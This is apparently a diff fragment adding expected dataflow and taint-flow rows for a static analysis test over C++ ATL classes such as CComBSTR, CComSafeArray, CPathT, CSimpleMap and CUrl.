+| atl.cpp:510:7:510:8 | ref arg b9 | atl.cpp:515:5:515:5 | b9 |  |
+| atl.cpp:511:7:511:8 | ref arg b9 | atl.cpp:514:12:514:13 | b9 |  |
+| atl.cpp:511:7:511:8 | ref arg b9 | atl.cpp:515:5:515:5 | b9 |  |
+| atl.cpp:511:22:511:26 | ref arg & ... | atl.cpp:511:23:511:26 | safe [inner post update] |  |
+| atl.cpp:511:22:511:26 | ref arg & ... | atl.cpp:512:12:512:15 | safe |  |
+| atl.cpp:511:23:511:26 | safe | atl.cpp:511:22:511:26 | & ... |  |
+| atl.cpp:514:12:514:13 | ref arg b9 | atl.cpp:515:5:515:5 | b9 |  |
+| atl.cpp:517:18:517:41 | call to indirect_source | atl.cpp:519:18:519:18 | w |  |
+| atl.cpp:517:18:517:41 | call to indirect_source | atl.cpp:523:17:523:17 | w |  |
+| atl.cpp:517:18:517:41 | call to indirect_source | atl.cpp:527:22:527:22 | w |  |
+| atl.cpp:519:18:519:18 | ref arg w | atl.cpp:523:17:523:17 | w |  |
+| atl.cpp:519:18:519:18 | ref arg w | atl.cpp:527:22:527:22 | w |  |
+| atl.cpp:519:18:519:18 | w | atl.cpp:519:18:519:19 | call to CComBSTR | TAINT |
+| atl.cpp:519:18:519:19 | call to CComBSTR | atl.cpp:520:12:520:12 | b |  |
+| atl.cpp:519:18:519:19 | call to CComBSTR | atl.cpp:525:5:525:5 | b |  |
+| atl.cpp:520:12:520:12 | b [post update] | atl.cpp:525:5:525:5 | b |  |
+| atl.cpp:522:16:522:17 | call to CComBSTR | atl.cpp:523:7:523:8 | b2 |  |
+| atl.cpp:522:16:522:17 | call to CComBSTR | atl.cpp:524:12:524:13 | b2 |  |
+| atl.cpp:522:16:522:17 | call to CComBSTR | atl.cpp:525:5:525:5 | b2 |  |
+| atl.cpp:523:7:523:8 | ref arg b2 | atl.cpp:524:12:524:13 | b2 |  |
+| atl.cpp:523:7:523:8 | ref arg b2 | atl.cpp:525:5:525:5 | b2 |  |
+| atl.cpp:523:17:523:17 | ref arg w | atl.cpp:527:22:527:22 | w |  |
+| atl.cpp:524:12:524:13 | b2 [post update] | atl.cpp:525:5:525:5 | b2 |  |
+| atl.cpp:527:18:527:23 | call to CComBSTR | atl.cpp:528:12:528:12 | b |  |
+| atl.cpp:527:18:527:23 | call to CComBSTR | atl.cpp:529:5:529:5 | b |  |
+| atl.cpp:528:12:528:12 | b [post update] | atl.cpp:529:5:529:5 | b |  |
+| atl.cpp:574:24:574:35 | call to getSafeArray | atl.cpp:575:10:575:13 | safe |  |
+| atl.cpp:574:24:574:35 | call to getSafeArray | atl.cpp:577:26:577:29 | safe |  |
+| atl.cpp:574:24:574:35 | call to getSafeArray | atl.cpp:588:13:588:16 | safe |  |
+| atl.cpp:575:10:575:13 | safe [post update] | atl.cpp:577:26:577:29 | safe |  |
+| atl.cpp:575:10:575:13 | safe [post update] | atl.cpp:588:13:588:16 | safe |  |
+| atl.cpp:577:26:577:29 | safe | atl.cpp:577:26:577:30 | call to CComSafeArray | TAINT |
+| atl.cpp:577:26:577:30 | call to CComSafeArray | atl.cpp:578:10:578:10 | c |  |
+| atl.cpp:577:26:577:30 | call to CComSafeArray | atl.cpp:579:10:579:10 | c |  |
+| atl.cpp:577:26:577:30 | call to CComSafeArray | atl.cpp:580:10:580:10 | c |  |
+| atl.cpp:577:26:577:30 | call to CComSafeArray | atl.cpp:581:10:581:10 | c |  |
+| atl.cpp:577:26:577:30 | call to CComSafeArray | atl.cpp:582:5:582:5 | c |  |
+| atl.cpp:578:10:578:10 | ref arg c | atl.cpp:579:10:579:10 | c |  |
+| atl.cpp:578:10:578:10 | ref arg c | atl.cpp:580:10:580:10 | c |  |
+| atl.cpp:578:10:578:10 | ref arg c | atl.cpp:581:10:581:10 | c |  |
+| atl.cpp:578:10:578:10 | ref arg c | atl.cpp:582:5:582:5 | c |  |
+| atl.cpp:579:10:579:10 | ref arg c | atl.cpp:580:10:580:10 | c |  |
+| atl.cpp:579:10:579:10 | ref arg c | atl.cpp:581:10:581:10 | c |  |
+| atl.cpp:579:10:579:10 | ref arg c | atl.cpp:582:5:582:5 | c |  |
+| atl.cpp:580:10:580:10 | ref arg c | atl.cpp:581:10:581:10 | c |  |
+| atl.cpp:580:10:580:10 | ref arg c | atl.cpp:582:5:582:5 | c |  |
+| atl.cpp:581:10:581:10 | c [post update] | atl.cpp:582:5:582:5 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:585:12:585:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:586:12:586:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:587:12:587:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:588:7:588:7 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:589:12:589:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:584:26:584:26 | call to CComSafeArray | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:586:12:586:12 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:587:12:587:12 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:588:7:588:7 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:589:12:589:12 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:585:12:585:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:587:12:587:12 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:588:7:588:7 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:589:12:589:12 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:586:12:586:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:588:7:588:7 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:589:12:589:12 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:587:12:587:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:588:7:588:7 | ref arg c | atl.cpp:589:12:589:12 | c |  |
+| atl.cpp:588:7:588:7 | ref arg c | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:588:7:588:7 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:588:7:588:7 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:588:7:588:7 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:589:12:589:12 | ref arg c | atl.cpp:590:12:590:12 | c |  |
+| atl.cpp:589:12:589:12 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:589:12:589:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:589:12:589:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:590:12:590:12 | ref arg c | atl.cpp:591:12:591:12 | c |  |
+| atl.cpp:590:12:590:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:590:12:590:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:591:12:591:12 | ref arg c | atl.cpp:592:37:592:37 | c |  |
+| atl.cpp:591:12:591:12 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:592:37:592:37 | ref arg c | atl.cpp:593:5:593:5 | c |  |
+| atl.cpp:595:26:595:26 | call to CComSafeArray | atl.cpp:596:7:596:7 | c |  |
+| atl.cpp:595:26:595:26 | call to CComSafeArray | atl.cpp:597:12:597:12 | c |  |
+| atl.cpp:595:26:595:26 | call to CComSafeArray | atl.cpp:598:12:598:12 | c |  |
+| atl.cpp:595:26:595:26 | call to CComSafeArray | atl.cpp:599:12:599:12 | c |  |
+| atl.cpp:595:26:595:26 | call to CComSafeArray | atl.cpp:600:5:600:5 | c |  |
+| atl.cpp:596:7:596:7 | ref arg c | atl.cpp:597:12:597:12 | c |  |
+| atl.cpp:596:7:596:7 | ref arg c | atl.cpp:598:12:598:12 | c |  |
+| atl.cpp:596:7:596:7 | ref arg c | atl.cpp:599:12:599:12 | c |  |
+| atl.cpp:596:7:596:7 | ref arg c | atl.cpp:600:5:600:5 | c |  |
+| atl.cpp:597:12:597:12 | ref arg c | atl.cpp:598:12:598:12 | c |  |
+| atl.cpp:597:12:597:12 | ref arg c | atl.cpp:599:12:599:12 | c |  |
+| atl.cpp:597:12:597:12 | ref arg c | atl.cpp:600:5:600:5 | c |  |
+| atl.cpp:598:12:598:12 | ref arg c | atl.cpp:599:12:599:12 | c |  |
+| atl.cpp:598:12:598:12 | ref arg c | atl.cpp:600:5:600:5 | c |  |
+| atl.cpp:599:12:599:12 | ref arg c | atl.cpp:600:5:600:5 | c |  |
+| atl.cpp:602:26:602:26 | call to CComSafeArray | atl.cpp:603:7:603:7 | c |  |
+| atl.cpp:602:26:602:26 | call to CComSafeArray | atl.cpp:604:12:604:12 | c |  |
+| atl.cpp:602:26:602:26 | call to CComSafeArray | atl.cpp:605:12:605:12 | c |  |
+| atl.cpp:602:26:602:26 | call to CComSafeArray | atl.cpp:606:5:606:5 | c |  |
+| atl.cpp:603:7:603:7 | ref arg c | atl.cpp:604:12:604:12 | c |  |
+| atl.cpp:603:7:603:7 | ref arg c | atl.cpp:605:12:605:12 | c |  |
+| atl.cpp:603:7:603:7 | ref arg c | atl.cpp:606:5:606:5 | c |  |
+| atl.cpp:604:12:604:12 | ref arg c | atl.cpp:605:12:605:12 | c |  |
+| atl.cpp:604:12:604:12 | ref arg c | atl.cpp:606:5:606:5 | c |  |
+| atl.cpp:605:12:605:12 | ref arg c | atl.cpp:606:5:606:5 | c |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:668:13:668:13 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:677:22:677:22 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:682:16:682:16 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:690:13:690:13 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:696:17:696:17 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:667:15:667:35 | call to indirect_source | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:677:22:677:22 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:682:16:682:16 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:690:13:690:13 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:696:17:696:17 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:668:13:668:13 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:668:13:668:13 | x | atl.cpp:668:13:668:14 | call to CPathT | TAINT |
+| atl.cpp:668:13:668:14 | call to CPathT | atl.cpp:669:29:669:29 | p |  |
+| atl.cpp:668:13:668:14 | call to CPathT | atl.cpp:670:10:670:10 | p |  |
+| atl.cpp:668:13:668:14 | call to CPathT | atl.cpp:672:14:672:14 | p |  |
+| atl.cpp:669:29:669:29 | ref arg p | atl.cpp:670:10:670:10 | p |  |
+| atl.cpp:669:29:669:29 | ref arg p | atl.cpp:672:14:672:14 | p |  |
+| atl.cpp:670:10:670:10 | p [post update] | atl.cpp:672:14:672:14 | p |  |
+| atl.cpp:670:12:670:20 | ref arg m_strPath | atl.cpp:673:13:673:21 | m_strPath |  |
+| atl.cpp:672:14:672:14 | p | atl.cpp:672:14:672:15 | call to CPathT |  |
+| atl.cpp:672:14:672:15 | call to CPathT | atl.cpp:673:10:673:11 | p2 |  |
+| atl.cpp:676:13:676:13 | call to CPathT | atl.cpp:677:7:677:7 | p |  |
+| atl.cpp:676:13:676:13 | call to CPathT | atl.cpp:678:12:678:12 | p |  |
+| atl.cpp:677:7:677:7 | ref arg p | atl.cpp:678:12:678:12 | p |  |
+| atl.cpp:677:22:677:22 | ref arg x | atl.cpp:682:16:682:16 | x |  |
+| atl.cpp:677:22:677:22 | ref arg x | atl.cpp:690:13:690:13 | x |  |
+| atl.cpp:677:22:677:22 | ref arg x | atl.cpp:696:17:696:17 | x |  |
+| atl.cpp:677:22:677:22 | ref arg x | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:677:22:677:22 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:681:13:681:13 | call to CPathT | atl.cpp:682:7:682:7 | p |  |
+| atl.cpp:681:13:681:13 | call to CPathT | atl.cpp:683:12:683:12 | p |  |
+| atl.cpp:681:13:681:13 | call to CPathT | atl.cpp:686:13:686:13 | p |  |
+| atl.cpp:682:7:682:7 | ref arg p | atl.cpp:683:12:683:12 | p |  |
+| atl.cpp:682:7:682:7 | ref arg p | atl.cpp:686:13:686:13 | p |  |
+| atl.cpp:682:16:682:16 | ref arg x | atl.cpp:690:13:690:13 | x |  |
+| atl.cpp:682:16:682:16 | ref arg x | atl.cpp:696:17:696:17 | x |  |
+| atl.cpp:682:16:682:16 | ref arg x | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:682:16:682:16 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:683:12:683:12 | p [post update] | atl.cpp:686:13:686:13 | p |  |
+| atl.cpp:685:13:685:14 | call to CPathT | atl.cpp:686:7:686:8 | p2 |  |
+| atl.cpp:685:13:685:14 | call to CPathT | atl.cpp:687:12:687:13 | p2 |  |
+| atl.cpp:686:7:686:8 | ref arg p2 | atl.cpp:687:12:687:13 | p2 |  |
+| atl.cpp:686:13:686:13 | call to operator char *& | atl.cpp:686:10:686:10 | call to operator+= | TAINT |
+| atl.cpp:689:13:689:14 | call to CPathT | atl.cpp:690:7:690:8 | p3 |  |
+| atl.cpp:689:13:689:14 | call to CPathT | atl.cpp:691:12:691:13 | p3 |  |
+| atl.cpp:690:7:690:8 | ref arg p3 | atl.cpp:691:12:691:13 | p3 |  |
+| atl.cpp:690:13:690:13 | ref arg x | atl.cpp:696:17:696:17 | x |  |
+| atl.cpp:690:13:690:13 | ref arg x | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:690:13:690:13 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:690:13:690:13 | x | atl.cpp:690:10:690:10 | call to operator+= | TAINT |
+| atl.cpp:695:13:695:13 | call to CPathT | atl.cpp:696:7:696:7 | p |  |
+| atl.cpp:695:13:695:13 | call to CPathT | atl.cpp:697:12:697:12 | p |  |
+| atl.cpp:696:7:696:7 | ref arg p | atl.cpp:697:12:697:12 | p |  |
+| atl.cpp:696:17:696:17 | ref arg x | atl.cpp:701:26:701:26 | x |  |
+| atl.cpp:696:17:696:17 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:700:13:700:13 | call to CPathT | atl.cpp:701:7:701:7 | p |  |
+| atl.cpp:700:13:700:13 | call to CPathT | atl.cpp:702:12:702:12 | p |  |
+| atl.cpp:701:7:701:7 | ref arg p | atl.cpp:702:12:702:12 | p |  |
+| atl.cpp:701:26:701:26 | ref arg x | atl.cpp:707:32:707:32 | x |  |
+| atl.cpp:706:13:706:13 | call to CPathT | atl.cpp:707:17:707:17 | p |  |
+| atl.cpp:707:19:707:30 | call to CommonPrefix | atl.cpp:708:12:708:13 | p2 |  |
+| atl.cpp:707:19:707:30 | call to CommonPrefix | atl.cpp:709:12:709:13 | p2 |  |
+| atl.cpp:708:12:708:13 | p2 [post update] | atl.cpp:709:12:709:13 | p2 |  |
+| atl.cpp:736:13:736:23 | call to source | atl.cpp:739:13:739:13 | x |  |
+| atl.cpp:736:13:736:23 | call to source | atl.cpp:751:13:751:13 | x |  |
+| atl.cpp:736:13:736:23 | call to source | atl.cpp:755:25:755:25 | x |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:739:7:739:7 | a |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:740:12:740:12 | a |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:741:7:741:7 | a |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:742:12:742:12 | a |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:746:12:746:12 | a |  |
+| atl.cpp:738:25:738:25 | call to CSimpleArray | atl.cpp:748:5:748:5 | a |  |
+| atl.cpp:739:7:739:7 | ref arg a | atl.cpp:740:12:740:12 | a |  |
+| atl.cpp:739:7:739:7 | ref arg a | atl.cpp:741:7:741:7 | a |  |
+| atl.cpp:739:7:739:7 | ref arg a | atl.cpp:742:12:742:12 | a |  |
+| atl.cpp:739:7:739:7 | ref arg a | atl.cpp:746:12:746:12 | a |  |
+| atl.cpp:739:7:739:7 | ref arg a | atl.cpp:748:5:748:5 | a |  |
+| atl.cpp:740:12:740:12 | ref arg a | atl.cpp:741:7:741:7 | a |  |
+| atl.cpp:740:12:740:12 | ref arg a | atl.cpp:742:12:742:12 | a |  |
+| atl.cpp:740:12:740:12 | ref arg a | atl.cpp:746:12:746:12 | a |  |
+| atl.cpp:740:12:740:12 | ref arg a | atl.cpp:748:5:748:5 | a |  |
+| atl.cpp:741:7:741:7 | ref arg a | atl.cpp:742:12:742:12 | a |  |
+| atl.cpp:741:7:741:7 | ref arg a | atl.cpp:746:12:746:12 | a |  |
+| atl.cpp:741:7:741:7 | ref arg a | atl.cpp:748:5:748:5 | a |  |
+| atl.cpp:742:12:742:12 | ref arg a | atl.cpp:746:12:746:12 | a |  |
+| atl.cpp:742:12:742:12 | ref arg a | atl.cpp:748:5:748:5 | a |  |
+| atl.cpp:744:25:744:26 | call to CSimpleArray | atl.cpp:745:12:745:13 | a2 |  |
+| atl.cpp:744:25:744:26 | call to CSimpleArray | atl.cpp:746:7:746:8 | a2 |  |
+| atl.cpp:744:25:744:26 | call to CSimpleArray | atl.cpp:747:12:747:13 | a2 |  |
+| atl.cpp:744:25:744:26 | call to CSimpleArray | atl.cpp:748:5:748:5 | a2 |  |
+| atl.cpp:745:12:745:13 | ref arg a2 | atl.cpp:746:7:746:8 | a2 |  |
+| atl.cpp:745:12:745:13 | ref arg a2 | atl.cpp:747:12:747:13 | a2 |  |
+| atl.cpp:745:12:745:13 | ref arg a2 | atl.cpp:748:5:748:5 | a2 |  |
+| atl.cpp:746:7:746:8 | ref arg a2 | atl.cpp:747:12:747:13 | a2 |  |
+| atl.cpp:746:7:746:8 | ref arg a2 | atl.cpp:748:5:748:5 | a2 |  |
+| atl.cpp:746:12:746:12 | a | atl.cpp:746:7:746:8 | ref arg a2 | TAINT |
+| atl.cpp:746:12:746:12 | a | atl.cpp:746:10:746:10 | call to operator= | TAINT |
+| atl.cpp:747:12:747:13 | ref arg a2 | atl.cpp:748:5:748:5 | a2 |  |
+| atl.cpp:750:25:750:25 | call to CSimpleArray | atl.cpp:751:7:751:7 | a |  |
+| atl.cpp:750:25:750:25 | call to CSimpleArray | atl.cpp:752:12:752:12 | a |  |
+| atl.cpp:750:25:750:25 | call to CSimpleArray | atl.cpp:757:5:757:5 | a |  |
+| atl.cpp:751:7:751:7 | ref arg a | atl.cpp:752:12:752:12 | a |  |
+| atl.cpp:751:7:751:7 | ref arg a | atl.cpp:757:5:757:5 | a |  |
+| atl.cpp:752:12:752:12 | ref arg a | atl.cpp:757:5:757:5 | a |  |
+| atl.cpp:754:25:754:26 | call to CSimpleArray | atl.cpp:755:17:755:18 | a2 |  |
+| atl.cpp:754:25:754:26 | call to CSimpleArray | atl.cpp:756:12:756:13 | a2 |  |
+| atl.cpp:754:25:754:26 | call to CSimpleArray | atl.cpp:757:5:757:5 | a2 |  |
+| atl.cpp:755:20:755:23 | call to Find | atl.cpp:756:15:756:17 | pos |  |
+| atl.cpp:756:12:756:13 | ref arg a2 | atl.cpp:757:5:757:5 | a2 |  |
+| atl.cpp:781:18:781:33 | call to source | atl.cpp:784:22:784:22 | x |  |
+| atl.cpp:781:18:781:33 | call to source | atl.cpp:794:28:794:28 | x |  |
+| atl.cpp:781:18:781:33 | call to source | atl.cpp:799:34:799:34 | x |  |
+| atl.cpp:781:18:781:33 | call to source | atl.cpp:805:24:805:24 | x |  |
+| atl.cpp:781:18:781:33 | call to source | atl.cpp:810:32:810:32 | x |  |
+| atl.cpp:783:35:783:35 | call to CSimpleMap | atl.cpp:784:7:784:7 | a |  |
+| atl.cpp:783:35:783:35 | call to CSimpleMap | atl.cpp:785:12:785:12 | a |  |
+| atl.cpp:783:35:783:35 | call to CSimpleMap | atl.cpp:786:5:786:5 | a |  |
+| atl.cpp:784:7:784:7 | ref arg a | atl.cpp:785:12:785:12 | a |  |
+| atl.cpp:784:7:784:7 | ref arg a | atl.cpp:786:5:786:5 | a |  |
+| atl.cpp:785:12:785:12 | ref arg a | atl.cpp:786:5:786:5 | a |  |
+| atl.cpp:788:35:788:35 | call to CSimpleMap | atl.cpp:789:18:789:18 | a |  |
+| atl.cpp:788:35:788:35 | call to CSimpleMap | atl.cpp:790:12:790:12 | a |  |
+| atl.cpp:788:35:788:35 | call to CSimpleMap | atl.cpp:791:5:791:5 | a |  |
+| atl.cpp:789:20:789:26 | call to FindKey | atl.cpp:790:25:790:27 | pos |  |
+| atl.cpp:790:12:790:12 | ref arg a | atl.cpp:791:5:791:5 | a |  |
+| atl.cpp:793:35:793:35 | call to CSimpleMap | atl.cpp:794:18:794:18 | a |  |
+| atl.cpp:793:35:793:35 | call to CSimpleMap | atl.cpp:795:12:795:12 | a |  |
+| atl.cpp:793:35:793:35 | call to CSimpleMap | atl.cpp:796:5:796:5 | a |  |
+| atl.cpp:794:20:794:26 | call to FindVal | atl.cpp:795:25:795:27 | pos |  |
+| atl.cpp:795:12:795:12 | ref arg a | atl.cpp:796:5:796:5 | a |  |
+| atl.cpp:798:35:798:35 | call to CSimpleMap | atl.cpp:799:18:799:18 | a |  |
+| atl.cpp:798:35:798:35 | call to CSimpleMap | atl.cpp:801:12:801:12 | a |  |
+| atl.cpp:798:35:798:35 | call to CSimpleMap | atl.cpp:802:5:802:5 | a |  |
+| atl.cpp:799:18:799:18 | ref arg a | atl.cpp:801:12:801:12 | a |  |
+| atl.cpp:799:18:799:18 | ref arg a | atl.cpp:802:5:802:5 | a |  |
+| atl.cpp:799:20:799:32 | call to ReverseLookup | atl.cpp:800:12:800:14 | key |  |
+| atl.cpp:799:20:799:32 | call to ReverseLookup | atl.cpp:801:21:801:23 | key |  |
+| atl.cpp:800:12:800:14 | ref arg key | atl.cpp:801:21:801:23 | key |  |
+| atl.cpp:801:12:801:12 | ref arg a | atl.cpp:802:5:802:5 | a |  |
+| atl.cpp:804:35:804:35 | call to CSimpleMap | atl.cpp:805:7:805:7 | a |  |
+| atl.cpp:804:35:804:35 | call to CSimpleMap | atl.cpp:806:12:806:12 | a |  |
+| atl.cpp:804:35:804:35 | call to CSimpleMap | atl.cpp:807:5:807:5 | a |  |
+| atl.cpp:805:7:805:7 | ref arg a | atl.cpp:806:12:806:12 | a |  |
+| atl.cpp:805:7:805:7 | ref arg a | atl.cpp:807:5:807:5 | a |  |
+| atl.cpp:806:12:806:12 | ref arg a | atl.cpp:807:5:807:5 | a |  |
+| atl.cpp:809:35:809:35 | call to CSimpleMap | atl.cpp:810:7:810:7 | a |  |
+| atl.cpp:809:35:809:35 | call to CSimpleMap | atl.cpp:811:12:811:12 | a |  |
+| atl.cpp:809:35:809:35 | call to CSimpleMap | atl.cpp:812:5:812:5 | a |  |
+| atl.cpp:810:7:810:7 | ref arg a | atl.cpp:811:12:811:12 | a |  |
+| atl.cpp:810:7:810:7 | ref arg a | atl.cpp:812:5:812:5 | a |  |
+| atl.cpp:811:12:811:12 | ref arg a | atl.cpp:812:5:812:5 | a |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:855:18:855:18 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:868:21:868:21 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:874:25:874:25 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:879:24:879:24 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:884:24:884:24 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:889:26:889:26 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:894:23:894:23 | x |  |
+| atl.cpp:853:15:853:35 | call to indirect_source | atl.cpp:899:24:899:24 | x |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:855:5:855:7 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:856:10:856:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:857:10:857:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:858:10:858:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:859:10:859:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:860:10:860:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:861:10:861:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:862:10:862:12 | url |  |
+| atl.cpp:854:10:854:12 | call to CUrl | atl.cpp:902:3:902:3 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:856:10:856:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:857:10:857:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:858:10:858:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:859:10:859:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:860:10:860:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:861:10:861:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:862:10:862:12 | url |  |
+| atl.cpp:855:5:855:7 | ref arg url | atl.cpp:902:3:902:3 | url |  |
+| atl.cpp:865:12:865:15 | call to CUrl | atl.cpp:868:7:868:10 | url2 |  |
+| atl.cpp:865:12:865:15 | call to CUrl | atl.cpp:869:7:869:10 | url2 |  |
+| atl.cpp:865:12:865:15 | call to CUrl | atl.cpp:871:5:871:5 | url2 |  |
+| atl.cpp:866:13:866:15 | len | atl.cpp:869:31:869:33 | len |  |
+| atl.cpp:867:12:867:17 | buffer | atl.cpp:869:22:869:27 | buffer |  |
+| atl.cpp:867:12:867:17 | buffer | atl.cpp:870:12:870:17 | buffer |  |
+| atl.cpp:868:7:868:10 | ref arg url2 | atl.cpp:869:7:869:10 | url2 |  |
+| atl.cpp:868:7:868:10 | ref arg url2 | atl.cpp:871:5:871:5 | url2 |  |
+| atl.cpp:869:22:869:27 | ref arg buffer | atl.cpp:870:12:870:17 | buffer |  |
+| atl.cpp:869:30:869:33 | ref arg & ... | atl.cpp:869:31:869:33 | len [inner post update] |  |
+| atl.cpp:869:31:869:33 | len | atl.cpp:869:30:869:33 | & ... |  |
+| atl.cpp:873:12:873:15 | call to CUrl | atl.cpp:874:7:874:10 | url2 |  |
+| atl.cpp:873:12:873:15 | call to CUrl | atl.cpp:875:12:875:15 | url2 |  |
+| atl.cpp:873:12:873:15 | call to CUrl | atl.cpp:876:5:876:5 | url2 |  |
+| atl.cpp:874:7:874:10 | ref arg url2 | atl.cpp:875:12:875:15 | url2 |  |
+| atl.cpp:874:7:874:10 | ref arg url2 | atl.cpp:876:5:876:5 | url2 |  |
+| atl.cpp:878:12:878:15 | call to CUrl | atl.cpp:879:7:879:10 | url2 |  |
+| atl.cpp:878:12:878:15 | call to CUrl | atl.cpp:880:12:880:15 | url2 |  |
+| atl.cpp:878:12:878:15 | call to CUrl | atl.cpp:881:5:881:5 | url2 |  |
+| atl.cpp:879:7:879:10 | ref arg url2 | atl.cpp:880:12:880:15 | url2 |  |
+| atl.cpp:879:7:879:10 | ref arg url2 | atl.cpp:881:5:881:5 | url2 |  |
+| atl.cpp:883:12:883:15 | call to CUrl | atl.cpp:884:7:884:10 | url2 |  |
+| atl.cpp:883:12:883:15 | call to CUrl | atl.cpp:885:12:885:15 | url2 |  |
+| atl.cpp:883:12:883:15 | call to CUrl | atl.cpp:886:5:886:5 | url2 |  |
+| atl.cpp:884:7:884:10 | ref arg url2 | atl.cpp:885:12:885:15 | url2 |  |
